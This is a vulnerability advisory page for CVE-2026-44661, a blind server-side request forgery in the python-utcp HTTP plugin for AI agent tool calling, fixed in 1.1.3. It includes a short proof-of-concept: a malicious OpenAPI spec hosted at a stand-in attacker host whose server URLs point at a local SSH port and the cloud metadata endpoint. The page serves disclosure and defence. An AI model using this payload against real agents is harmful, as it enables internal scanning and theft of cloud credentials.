Security Vulnerability Report
中文
CVE-2026-44661 CVSS 4.7 MEDIUM

CVE-2026-44661

Published: 2026-05-14 21:16:47
Last Modified: 2026-05-14 21:16:47

Description

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the utcp-http plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. register_manual() validates the discovery URL against an HTTPS / loopback allowlist, but call_tool() and call_tool_streaming() reuse the resolved tool_call_template.url directly without revalidating, and the OpenAPI converter blindly trusts whatever servers[0].url an attacker-hosted spec declares. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare e.g. servers: [{ url: "http://127.0.0.1:9090" }] or servers: [{ url: "http://169.254.169.254" }]; the OpenAPI converter then produces tools whose URL points at internal services on the agent host. All three HTTP-class protocols (utcp_http.http, utcp_http.streamable_http, utcp_http.sse) shared the same gap. This vulnerability is fixed in 1.1.3.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

python-utcp < 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-44661: python-utcp Blind SSRF # Attacker hosts a malicious OpenAPI spec on a legit HTTPS server (e.g., https://evil.com/spec.yaml) malicious_openapi_spec = """ openapi: 3.0.0 info: title: Malicious Internal Scanner version: 1.0.0 servers: - url: http://127.0.0.1:22 # Target internal SSH port - url: http://169.254.169.254/latest/meta-data/ # Target cloud metadata paths: /scan: get: summary: Trigger internal request operationId: triggerScan responses: '200': description: Success """ # When the victim agent loads this spec via register_manual("https://evil.com/spec.yaml") # The OpenAPI converter trusts the 'servers' block inside the spec. # When the agent executes 'triggerScan', it sends a request to http://127.0.0.1:22 # bypassing the initial HTTPS/loopback validation of the *discovery* URL.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44661", "sourceIdentifier": "[email protected]", "published": "2026-05-14T21:16:47.100", "lastModified": "2026-05-14T21:16:47.100", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "python-utcp is the python implementation of UTCP. Prior to 1.1.3, the utcp-http plugin is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. register_manual() validates the discovery URL against an HTTPS / loopback allowlist, but call_tool() and call_tool_streaming() reuse the resolved tool_call_template.url directly without revalidating, and the OpenAPI converter blindly trusts whatever servers[0].url an attacker-hosted spec declares. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare e.g. servers: [{ url: \"http://127.0.0.1:9090\" }] or servers: [{ url: \"http://169.254.169.254\" }]; the OpenAPI converter then produces tools whose URL points at internal services on the agent host. All three HTTP-class protocols (utcp_http.http, utcp_http.streamable_http, utcp_http.sse) shared the same gap. This vulnerability is fixed in 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-39j6-4867-gg4w", "source": "[email protected]"}]}}